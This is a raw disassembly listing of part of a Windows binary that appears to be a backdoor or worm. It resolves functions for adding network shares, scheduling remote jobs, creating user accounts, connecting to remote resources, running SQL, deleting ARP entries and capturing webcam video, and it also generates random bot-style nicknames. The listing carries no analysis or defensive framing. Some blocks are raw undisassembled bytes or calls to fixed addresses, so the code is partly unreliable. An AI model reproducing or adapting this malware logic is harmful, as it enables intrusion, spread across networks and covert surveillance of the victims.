loc_40A208:				; CODE XREF: sub_409909+8CCj
					; sub_409909+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A252
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CB95C, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CBA8C, eax
		call	esi
		cmp	dword_4CB95C, ebx
		mov	dword_4CB8EC, eax
		jz	short loc_40A25D
		cmp	dword_4CBA8C, ebx
		jz	short loc_40A25D
		cmp	eax, ebx
		jnz	short loc_40A267
		jmp	short loc_40A25D
; ---------------------------------------------------------------------------


loc_40A252:				; CODE XREF: sub_409909+90Aj
		call	near ptr 26A0E98h
		nop
		mov	dword_4CBAC8, eax


loc_40A25D:				; CODE XREF: sub_409909+939j
					; sub_409909+941j ...
		mov	dword_4CBAC4, 1


loc_40A267:				; CODE XREF: sub_409909+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A36E
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CB8C8, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CB8A0, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CB918, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CB94C, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CBA64, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CB900, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CB8AC, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CB89C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CB934, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CBA2C, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CB9E4, eax
		call	esi
		cmp	dword_4CB8C8, ebx
		mov	dword_4CB908, eax
		jz	short loc_40A379
		cmp	dword_4CB8A0, ebx
		jz	short loc_40A379
		cmp	dword_4CB918, ebx
		jz	short loc_40A379
		cmp	dword_4CB94C, ebx
		jz	short loc_40A379
		cmp	dword_4CBA64, ebx
		jz	short loc_40A379
		cmp	dword_4CB900, ebx
		jz	short loc_40A379
		cmp	dword_4CB8AC, ebx
		jz	short loc_40A379
		cmp	dword_4CB89C, ebx
		jz	short loc_40A379
		cmp	dword_4CB934, ebx
		jz	short loc_40A379
		cmp	dword_4CBA2C, ebx
		jz	short loc_40A379
		cmp	dword_4CB9E4, ebx
		jnz	short loc_40A383
		jmp	short loc_40A379
; ---------------------------------------------------------------------------


loc_40A36E:				; CODE XREF: sub_409909+969j
		call	near ptr 26A0E98h
		nop
		mov	dword_4CBAD0, eax


loc_40A379:				; CODE XREF: sub_409909+A11j
					; sub_409909+A19j ...
		mov	dword_4CBACC, 1


loc_40A383:				; CODE XREF: sub_409909+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A3B8
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CB8F0, eax
		call	esi
		cmp	dword_4CB8F0, ebx
		mov	dword_4CB9CC, eax
		jz	short loc_40A3C3
		cmp	eax, ebx
		jnz	short loc_40A3CD
		jmp	short loc_40A3C3
; ---------------------------------------------------------------------------


loc_40A3B8:				; CODE XREF: sub_409909+A85j
		call	near ptr 26A0E98h
		nop
		mov	dword_4CBAD8, eax


loc_40A3C3:				; CODE XREF: sub_409909+AA7j
					; sub_409909+AADj
		mov	dword_4CBAD4, 1


loc_40A3CD:				; CODE XREF: sub_409909+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A402
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CBA50, eax
		call	esi
		cmp	dword_4CBA50, ebx
		mov	dword_4CBA4C, eax
		jz	short loc_40A40D
		cmp	eax, ebx
		jnz	short loc_40A417
		jmp	short loc_40A40D
; ---------------------------------------------------------------------------


loc_40A402:				; CODE XREF: sub_409909+ACFj
		nop
		call	near ptr 26A0E98h
		mov	dword_4CBAE0, eax


loc_40A40D:				; CODE XREF: sub_409909+AF1j
					; sub_409909+AF7j
		mov	dword_4CBADC, 1


loc_40A417:				; CODE XREF: sub_409909+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A476
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CBA7C, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CBA74, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CBA3C, eax
		call	esi
		cmp	dword_4CBA7C, ebx
		mov	dword_4CB90C, eax
		jz	short loc_40A481
		cmp	dword_4CBA74, ebx
		jz	short loc_40A481
		cmp	dword_4CBA3C, ebx
		jz	short loc_40A481
		cmp	eax, ebx
		jnz	short loc_40A48B
		jmp	short loc_40A481
; ---------------------------------------------------------------------------


loc_40A476:				; CODE XREF: sub_409909+B19j
		nop
		call	near ptr 26A0E98h
		mov	dword_4CBAE8, eax


loc_40A481:				; CODE XREF: sub_409909+B55j
					; sub_409909+B5Dj ...
		mov	dword_4CBAE4, 1


loc_40A48B:				; CODE XREF: sub_409909+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A4C0
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CB940, eax
		call	esi
		cmp	dword_4CB940, ebx
		mov	dword_4CBA48, eax
		jz	short loc_40A4CB
		cmp	eax, ebx
		jnz	short loc_40A4D5
		jmp	short loc_40A4CB
; ---------------------------------------------------------------------------


loc_40A4C0:				; CODE XREF: sub_409909+B8Dj
		nop
		call	near ptr 26A0E98h
		mov	dword_4CBAF0, eax


loc_40A4CB:				; CODE XREF: sub_409909+BAFj
					; sub_409909+BB5j
		mov	dword_4CBAEC, 1


loc_40A4D5:				; CODE XREF: sub_409909+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A55E
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CBA10, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CBA5C, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CB998, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CB950, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CB9F0, eax
		call	esi
		cmp	dword_4CBA10, ebx
		mov	dword_4CB960, eax
		jz	short loc_40A569
		cmp	dword_4CBA5C, ebx
		jz	short loc_40A569
		cmp	dword_4CB998, ebx
		jz	short loc_40A569
		cmp	dword_4CB950, ebx
		jz	short loc_40A569
		cmp	dword_4CB9F0, ebx
		jz	short loc_40A569
		cmp	eax, ebx
		jnz	short loc_40A573
		jmp	short loc_40A569
; ---------------------------------------------------------------------------


loc_40A55E:				; CODE XREF: sub_409909+BD7j
		nop
		call	near ptr 26A0E98h
		mov	dword_4CBAF8, eax


loc_40A569:				; CODE XREF: sub_409909+C2Dj
					; sub_409909+C35j ...
		mov	dword_4CBAF4, 1


loc_40A573:				; CODE XREF: sub_409909+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5A8
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CB924, eax
		call	esi
		cmp	dword_4CB924, ebx
		mov	dword_4CBA04, eax
		jz	short loc_40A5B3
		cmp	eax, ebx
		jnz	short loc_40A5BD
		jmp	short loc_40A5B3
; ---------------------------------------------------------------------------


loc_40A5A8:				; CODE XREF: sub_409909+C75j
		nop
		call	near ptr 26A0E98h
		mov	dword_4CBB00, eax


loc_40A5B3:				; CODE XREF: sub_409909+C97j
					; sub_409909+C9Dj
		mov	dword_4CBAFC, 1


loc_40A5BD:				; CODE XREF: sub_409909+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409909	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5C5	proc near		; CODE XREF: sub_401ACD+2511p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CBA94, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A60D
		push	dword_4CBA98
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A60D:				; CODE XREF: sub_40A5C5+1Aj
		cmp	dword_4CBA9C, esi
		jz	short loc_40A641
		push	dword_4CBAA0
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A641:				; CODE XREF: sub_40A5C5+4Ej
		cmp	dword_4CBAA4, esi
		jz	short loc_40A675
		push	dword_4CBAA8
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A675:				; CODE XREF: sub_40A5C5+82j
		cmp	dword_4CBAAC, esi
		jz	short loc_40A6A9
		push	dword_4CBAB0
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A6A9:				; CODE XREF: sub_40A5C5+B6j
		cmp	dword_4CBAB4, esi
		jz	short loc_40A6DD
		push	dword_4CBAB8
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A6DD:				; CODE XREF: sub_40A5C5+EAj
		cmp	dword_4CBABC, esi
		jz	short loc_40A711
		push	dword_4CBAC0
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A711:				; CODE XREF: sub_40A5C5+11Ej
		cmp	dword_4CBAC4, esi
		jz	short loc_40A745
		push	dword_4CBAC8
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A745:				; CODE XREF: sub_40A5C5+152j
		cmp	dword_4CBACC, esi
		jz	short loc_40A779
		push	dword_4CBAD0
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A779:				; CODE XREF: sub_40A5C5+186j
		cmp	dword_4CBAD4, esi
		jz	short loc_40A7AD
		push	dword_4CBAD8
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A7AD:				; CODE XREF: sub_40A5C5+1BAj
		cmp	dword_4CBADC, esi
		jz	short loc_40A7E1
		push	dword_4CBAE0
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A7E1:				; CODE XREF: sub_40A5C5+1EEj
		cmp	dword_4CBAE4, esi
		jz	short loc_40A815
		push	dword_4CBAE8
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A815:				; CODE XREF: sub_40A5C5+222j
		cmp	dword_4CBAEC, esi
		jz	short loc_40A849
		push	dword_4CBAF0
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A849:				; CODE XREF: sub_40A5C5+256j
		cmp	dword_4CBAF4, esi
		jz	short loc_40A87D
		push	dword_4CBAF8
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A87D:				; CODE XREF: sub_40A5C5+28Aj
		cmp	dword_4CBAFC, esi
		jz	short loc_40A8B1
		push	dword_4CBB00
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax


loc_40A897:				; DATA XREF: ___:0043320Co
					; ___:00433250o ...
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A8B1:				; CODE XREF: sub_40A5C5+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D6C4
		push	eax
		call	sub_41C266
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40A8DE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_40A8DE:				; CODE XREF: sub_40A5C5+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A5C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A8F0	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5BC5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CBA14
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40A918
		push	[esp+arg_0]
		call	dword_4CBA58
		test	eax, eax
		jnz	short loc_40A911
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40A911:				; CODE XREF: sub_40A8F0+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40A918:				; CODE XREF: sub_40A8F0+Dj
		retn
sub_40A8F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A919	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CB8F0
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40A927
		call	ecx

locret_40A927:				; CODE XREF: sub_40A919+Aj
		retn
sub_40A919	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A928	proc near		; CODE XREF: sub_401ACD:loc_403F03p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CBA50
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40A9EE
		sub	ecx, 32h
		jz	loc_40A9E7
		sub	ecx, 48h
		jz	short loc_40A988
		sub	ecx, 6Eh
		jz	short loc_40A981


loc_40A96A:				; CODE XREF: sub_40A928+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42D8D8
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	short loc_40A9C8
; ---------------------------------------------------------------------------


loc_40A981:				; CODE XREF: sub_40A928+40j
		push	offset unk_42D8B4
		jmp	short loc_40A9BA
; ---------------------------------------------------------------------------


loc_40A988:				; CODE XREF: sub_40A928+3Bj
		push	[ebp+var_8]
		call	sub_41BEB5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41BF70
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40A9B5
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CBA50
		cmp	eax, edi
		jz	short loc_40A9EE
		jmp	short loc_40A96A
; ---------------------------------------------------------------------------


loc_40A9B5:				; CODE XREF: sub_40A928+79j
		push	offset unk_42D884


loc_40A9BA:				; CODE XREF: sub_40A928+5Ej
					; sub_40A928+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40A9C8:				; CODE XREF: sub_40A928+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_415D38
		pop	ecx


loc_40A9D8:				; CODE XREF: sub_40A928+C8j
					; sub_40A928+DCj
		push	esi
		call	sub_41BA91
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A9E7:				; CODE XREF: sub_40A928+32j
		push	offset unk_42D854
		jmp	short loc_40A9BA
; ---------------------------------------------------------------------------


loc_40A9EE:				; CODE XREF: sub_40A928+29j
					; sub_40A928+89j
		cmp	[esi], edi
		jbe	short loc_40A9D8
		lea	ebx, [esi+4]


loc_40A9F5:				; CODE XREF: sub_40A928+DAj
		push	ebx
		call	dword_4CBA4C
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40A9F5
		jmp	short loc_40A9D8
sub_40A928	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA06	proc near		; CODE XREF: sub_401ACD+21EDp
					; sub_401ACD+233Ep ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB978
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CBB04
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41C266
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AA06	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AA5F	proc near		; CODE XREF: sub_413694+24Cp
					; sub_413694+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AA88
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AA7B:				; CODE XREF: sub_40AA5F+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AA7B
		pop	edi
		jmp	short loc_40AA8C
; ---------------------------------------------------------------------------


loc_40AA88:				; CODE XREF: sub_40AA5F+Aj
		mov	edx, [esp+4+arg_0]


loc_40AA8C:				; CODE XREF: sub_40AA5F+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AA96
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40AA96:				; CODE XREF: sub_40AA5F+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AA5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAAC	proc near		; CODE XREF: sub_40AE84+49p
					; DATA XREF: ___:off_42D920o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		nop
		call	near ptr 26B0E28h
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42D99C[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AB14


loc_40AAEE:				; CODE XREF: sub_40AAAC+66j
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AAEE


loc_40AB14:				; CODE XREF: sub_40AAAC+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40AAAC	endp

; ---------------------------------------------------------------------------
		db 56h,	57h, 90h
		dd 2A6307E8h, 91E85002h, 8B000117h, 0C710247Ch,	91382404h
		dd 0B4680042h, 6A0042CCh, 21E8571Ch, 33000118h,	10C483F6h
		dd 90983539h, 267E0042h, 11771E8h, 990A6A00h, 52F9F759h
		dd 0B89C6857h, 1C6A0042h, 17FAE857h, 0C4830001h, 353B4614h
		dd 429098h, 0C78BDA7Ch
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AB77	proc near		; CODE XREF: sub_401ACD+68EEp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	near ptr 26B0E28h
		nop
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ABBA


loc_40ABA4:				; CODE XREF: sub_40AB77+41j
		call	sub_41C2C2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ABA4


loc_40ABBA:				; CODE XREF: sub_40AB77+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AB77	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		nop
		call	near ptr 26B0E28h
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_4315F4
		push	eax
		push	esi
		nop
		call	near ptr 26E0000h
		movsx	eax, byte_4315F4
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_40AC00:				; CODE XREF: ___:0040AC0Bj
		cmp	eax, ecx
		jnz	short loc_40AC07
		mov	[ebp-4], edx


loc_40AC07:				; CODE XREF: ___:0040AC02j
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AC00
		push	61h
		pop	ecx


loc_40AC10:				; CODE XREF: ___:0040AC1Bj
		cmp	eax, ecx
		jnz	short loc_40AC17
		mov	[ebp-4], edx


loc_40AC17:				; CODE XREF: ___:0040AC12j
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AC10
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AC5C


loc_40AC36:				; CODE XREF: ___:0040AC5Aj
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AC36


loc_40AC5C:				; CODE XREF: ___:0040AC34j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		nop
		call	near ptr 26B0E28h
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	near ptr 26F0000h
		nop
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_4315F8
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40ACD1


loc_40ACAB:				; CODE XREF: ___:0040ACCFj
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACAB


loc_40ACD1:				; CODE XREF: ___:0040ACA9j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_43DB88
		mov	dword ptr [ebp-94h], 94h
		nop
		call	near ptr 26F057Eh
		nop
		call	near ptr 26B0E28h
		push	eax
		call	sub_41C2B8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AD5B
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AD3B
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AD2B
		mov	esi, offset dword_431620


loc_40AD2B:				; CODE XREF: ___:0040AD24j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AD97
		mov	esi, offset dword_43161C
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD3B:				; CODE XREF: ___:0040AD1Bj
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AD4B
		mov	esi, offset dword_431618
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD4B:				; CODE XREF: ___:0040AD42j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AD92
		mov	esi, offset dword_431614
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD5B:				; CODE XREF: ___:0040AD12j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AD92
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AD74
